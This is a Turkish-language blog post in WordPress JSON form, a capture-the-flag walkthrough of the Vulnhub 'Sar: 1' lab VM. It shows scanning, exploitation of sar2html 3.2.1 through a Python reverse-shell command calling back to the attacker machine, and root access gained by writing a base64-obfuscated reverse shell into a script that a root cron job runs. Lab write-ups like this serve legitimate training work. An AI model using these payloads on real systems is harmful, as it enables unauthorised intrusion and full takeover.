{"id":1327,"date":"2021-07-09T19:42:51","date_gmt":"2021-07-09T19:42:51","guid":{"rendered":"http:\/\/144.76.171.171\/blog\/?p=1327"},"modified":"2021-07-09T19:42:51","modified_gmt":"2021-07-09T19:42:51","slug":"sar-1","status":"publish","type":"post","link":"https:\/\/berenkudaygorun.com\/blog\/blog\/2021\/07\/09\/sar-1\/","title":{"rendered":"SAR: 1"},"content":{"rendered":"

Makine Hakk\u0131nda Bilgiler<\/h2>\n

A\u00e7\u0131klama:<\/strong>
\nSar is an OSCP-Like VM with the intent of gaining experience in the world of penetration testing.<\/p>\n

Vulnhub Sayfas\u0131:<\/strong>
\nhttps:\/\/www.vulnhub.com\/entry\/sar-1,425\/<\/a><\/p>\n

\u0130ndirme Sayfas\u0131:<\/strong>
\nhttps:\/\/download.vulnhub.com\/sar\/sar.zip<\/a><\/p>\n

Walkthrough<\/h2>\n

Makineyi tespit ederek ba\u015flayal\u0131m.<\/p>\n

\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/sar]\n\u2514\u2500# arp-scan -l\nInterface: eth0, type: EN10MB, MAC: 00:0c:29:97:a8:e4, IPv4: 192.168.6.132\nStarting arp-scan 1.9.7 with 256 hosts (https:\/\/github.com\/royhills\/arp-scan)\n192.168.6.1 00:50:56:c0:00:08   VMware, Inc.\n192.168.6.2 00:50:56:f3:da:b0   VMware, Inc.\n192.168.6.134   00:0c:29:ca:15:5a   VMware, Inc.\n192.168.6.134   00:0c:29:ca:15:5a   VMware, Inc. (DUP: 2)\n192.168.6.254   00:50:56:fd:11:c9   VMware, Inc.\n\n5 packets received by filter, 0 packets dropped by kernel\nEnding arp-scan 1.9.7: 256 hosts scanned in 1.932 seconds (132.51 hosts\/sec). 5 responded\n<\/code><\/pre>\n
nmap taramas\u0131 ile devam edelim.<\/p>\n
[*] Scan: 826\nStarting Nmap 7.91 ( https:\/\/nmap.org ) at 2021-07-09 15:37 EDT\nNmap scan report for 192.168.6.134\nHost is up (0.00081s latency).\nNot shown: 65534 closed ports\nPORT   STATE SERVICE VERSION\n80\/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))\n|_http-server-header: Apache\/2.4.29 (Ubuntu)\n|_http-title: Apache2 Ubuntu Default Page: It works\nMAC Address: 00:0C:29:CA:15:5A (VMware)\nDevice type: general purpose\nRunning: Linux 4.X|5.X\nOS CPE: cpe:\/o:linux:linux_kernel:4 cpe:\/o:linux:linux_kernel:5\nOS details: Linux 4.15 - 5.6\nNetwork Distance: 1 hop\n\nTRACEROUTE\nHOP RTT     ADDRESS\n1   0.81 ms 192.168.6.134\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 9.34 seconds\n<\/code><\/pre>\n
nikto \u00e7\u0131kt\u0131s\u0131nda phpinfo buldum daha sonras\u0131nda gobuster ile tarama yapt\u0131m ve bir sh ile robots.txt elde ettim. sh dosyas\u0131 garipti ancak robots.txt ile yeni bir path yakalad\u0131m.<\/p>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/sar]\n\u2514\u2500# gobuster dir --url http:\/\/192.168.6.134 --add-slash --expanded --follow-redirect --status-codes-blacklist 404 --extensions php,html,bak,sql,txt,zip,rar,7z,conf,php5,sh,bash,cap,pcap -t 50 -w \/usr\/share\/wordlists\/dirb\/big.txt --no-error | tee gobuster\/1\n\n===============================================================\nGobuster v3.1.0\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.6.134\n[+] Method:                  GET\n[+] Threads:                 50\n[+] Wordlist:                \/usr\/share\/wordlists\/dirb\/big.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.1.0\n[+] Extensions:              pcap,rar,conf,sh,cap,html,bak,sql,zip,txt,7z,php5,php,bash\n[+] Add Slash:               true\n[+] Follow Redirect:         true\n[+] Expanded:                true\n[+] Timeout:                 10s\n===============================================================\n2021\/07\/09 13:36:03 Starting gobuster in directory enumeration mode\n===============================================================\nhttp:\/\/192.168.6.134\/.htaccess.sh         (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.cap        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.sql        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.zip        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.rar        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.conf       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.bash       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.php        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.pcap       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.sh         (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.7z         (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd\/           (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.txt        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.php5       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.bak        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.cap        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htpasswd.html       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.html       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.php5       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.txt        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.7z         (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.conf       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.bash       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.pcap       (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.sql        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.zip        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.bak        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess\/           (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.php        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/.htaccess.rar        (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/icons\/               (Status: 403) [Size: 278]\nhttp:\/\/192.168.6.134\/index.html           (Status: 200) [Size: 10918]\nhttp:\/\/192.168.6.134\/phpinfo.php          (Status: 200) [Size: 95406]\nhttp:\/\/192.168.6.134\/robots.txt           (Status: 200) [Size: 9]    \nhttp:\/\/192.168.6.134\/server-status\/       (Status: 403) [Size: 278]  \nhttp:\/\/192.168.6.134\/write.sh             (Status: 200) [Size: 30]   \n\n===============================================================\n2021\/07\/09 13:37:28 Finished\n===============================================================\n<\/code><\/pre>\n
sar2html Ver 3.2.1<\/strong> isimli bir uygulamayd\u0131. Bunun \u00fczerine uygulamaya ait bir exploit var m\u0131 diye arad\u0131m.<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/sar]\n\u2514\u2500# searchsploit sar2html 3.2.1\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\n Exploit Title                                                                                                                                                                                              |  Path\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nsar2html 3.2.1 - 'plot' Remote Code Execution                                                                                                                                                               | php\/webapps\/49344.py\nSar2HTML 3.2.1 - Remote Command Execution                                                                                                                                                                   | php\/webapps\/47204.txt\n------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------\nShellcodes: No Results\n<\/code><\/pre>\n
\n\u250c\u2500\u2500(root💀kali)-[~\/oscp\/sar]\n\u2514\u2500# python3 49344.py                                                                                                                                                                                   130 \u2a2f\nEnter The url => http:\/\/192.168.6.134\/sar2HTML\nCommand => python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.6.132",1822));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("\/bin\/bash")'\n<\/code><\/pre>\n
Makineden b\u00f6ylece reverse alabilidm. \u0130\u00e7eride incelemeler yaparken her zaman kulland\u0131\u011f\u0131m lse.sh scriptini kulland\u0131m. Buldu\u011fum enteresan sonu\u00e7 a\u015fa\u011f\u0131da.<\/p>\n
---\n[*] ret020 Cron jobs....................................................... yes!\n---\n\/etc\/crontab:SHELL=\/bin\/sh\n\/etc\/crontab:PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\/etc\/crontab:17 *   * * *   root    cd \/ && run-parts --report \/etc\/cron.hourly\n\/etc\/crontab:25 6   * * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.daily )\n\/etc\/crontab:47 6   * * 7   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.weekly )\n\/etc\/crontab:52 6   1 * *   root    test -x \/usr\/sbin\/anacron || ( cd \/ && run-parts --report \/etc\/cron.monthly )\n\/etc\/crontab:*\/5  *    * * *   root    cd \/var\/www\/html\/ && sudo .\/finally.sh\n\/etc\/cron.d\/anacron:SHELL=\/bin\/sh\n\/etc\/cron.d\/anacron:PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\/etc\/cron.d\/anacron:30 7    * * *   root    [ -x \/etc\/init.d\/anacron ] && if [ ! -d \/run\/systemd\/system ]; then \/usr\/sbin\/invoke-rc.d anacron start >\/dev\/null; fi\n\/etc\/cron.d\/php:09,39 *     * * *     root   [ -x \/usr\/lib\/php\/sessionclean ] && if [ ! -d \/run\/systemd\/system ]; then \/usr\/lib\/php\/sessionclean; fi\n\/etc\/cron.d\/popularity-contest:SHELL=\/bin\/sh\n\/etc\/cron.d\/popularity-contest:PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\/etc\/cron.d\/popularity-contest:39 11 * * *   root    test -x \/etc\/cron.daily\/popularity-contest && \/etc\/cron.daily\/popularity-contest --crond\n\/etc\/anacrontab:SHELL=\/bin\/sh\n\/etc\/anacrontab:PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/sbin:\/bin:\/usr\/sbin:\/usr\/bin\n\/etc\/anacrontab:HOME=\/root\n\/etc\/anacrontab:LOGNAME=root\n\/etc\/anacrontab:1   5   cron.daily  run-parts --report \/etc\/cron.daily\n\/etc\/anacrontab:7   10  cron.weekly run-parts --report \/etc\/cron.weekly\n\/etc\/anacrontab:@monthly    15  cron.monthly    run-parts --report \/etc\/cron.monthly\n---\n<\/code><\/pre>\n
*\/etc\/crontab:<\/em>\/5      <\/em>  <\/em>   root    cd \/var\/www\/html\/ && sudo .\/finally.sh** olduk\u00e7a ilgi \u00e7ekici.<\/p>\n
www-data@sar:\/var\/www\/html$ alias ls="ls -al"\nalias ls="ls -al"\nwww-data@sar:\/var\/www\/html$ ls\nls\ntotal 40\ndrwxr-xr-x 3 www-data www-data  4096 Oct 21  2019 .\ndrwxr-xr-x 4 www-data www-data  4096 Oct 21  2019 ..\n-rwxr-xr-x 1 root     root        58 Jul 10 01:00 finally.sh\n-rw-r--r-- 1 www-data www-data 10918 Oct 20  2019 index.html\n-rw-r--r-- 1 www-data www-data    21 Oct 20  2019 phpinfo.php\n-rw-r--r-- 1 root     root         9 Oct 21  2019 robots.txt\ndrwxr-xr-x 4 www-data www-data  4096 Oct 20  2019 sar2HTML\n-rwxrwxrwx 1 www-data www-data    55 Jul 10 00:04 write.sh\nwww-data@sar:\/var\/www\/html$ cat finally.sh\ncat finally.sh\n#!\/bin\/sh\n\n.\/write.sh<\/code><\/pre>\n
Bu harika \u00e7\u00fcnk\u00fc write.sh'\u0131 kontrol edebiliyoruz. \u0130\u00e7erisine python ile bir reverse yazd\u0131m.<\/p>\n
www-data@sar:\/var\/www\/html$ echo ' echo cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjE5Mi4xNjguNi4xMzIiLDE4MjQpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCIvYmluL2Jhc2giKScK | base64 -d | bash\n<cHR5LnNwYXduKCIvYmluL2Jhc2giKScK | base64 -d | bash\n> ' > write.sh\n<\/code><\/pre>\n
Daha sonras\u0131nda:<\/p>\n
\u250c\u2500\u2500(root💀kali)-[~\/oscp\/sar]\n\u2514\u2500# nc -lvp 1824                                                                                                                                                                                       130 \u2a2f\nlistening on [any] 1824 ...\n192.168.6.134: inverse host lookup failed: Unknown host\nconnect to [192.168.6.132] from (UNKNOWN) [192.168.6.134] 55736\nroot@sar:\/var\/www\/html# id\nid\nuid=0(root) gid=0(root) groups=0(root)\nroot@sar:\/var\/www\/html# cd \/root\ncd \/root\nroot@sar:~# ls\nls\nroot.txt  snap\nroot@sar:~# cat root.txt\ncat root.txt\n66f93d6b2ca96c9ad78a8a9ba0008e99\nroot@sar:~# \n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Makine Hakk\u0131nda Bilgiler A\u00e7\u0131klama: Sar is an OSCP-Like VM with the intent of gaining experience in the world of penetration testing. Vulnhub Sayfas\u0131: https:\/\/www.vulnhub.com\/entry\/sar-1,425\/ \u0130ndirme…<\/p>\n
Devam\u0131n\u0131 okuSAR: 1<\/span><\/a><\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[498],"tags":[505],"class_list":["post-1327","post","type-post","status-publish","format-standard","hentry","category-walkthrough","tag-cron","entry"],"_links":{"self":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1327","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/comments?post=1327"}],"version-history":[{"count":1,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1327\/revisions"}],"predecessor-version":[{"id":1328,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/posts\/1327\/revisions\/1328"}],"wp:attachment":[{"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/media?parent=1327"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/categories?post=1327"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/berenkudaygorun.com\/blog\/wp-json\/wp\/v2\/tags?post=1327"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}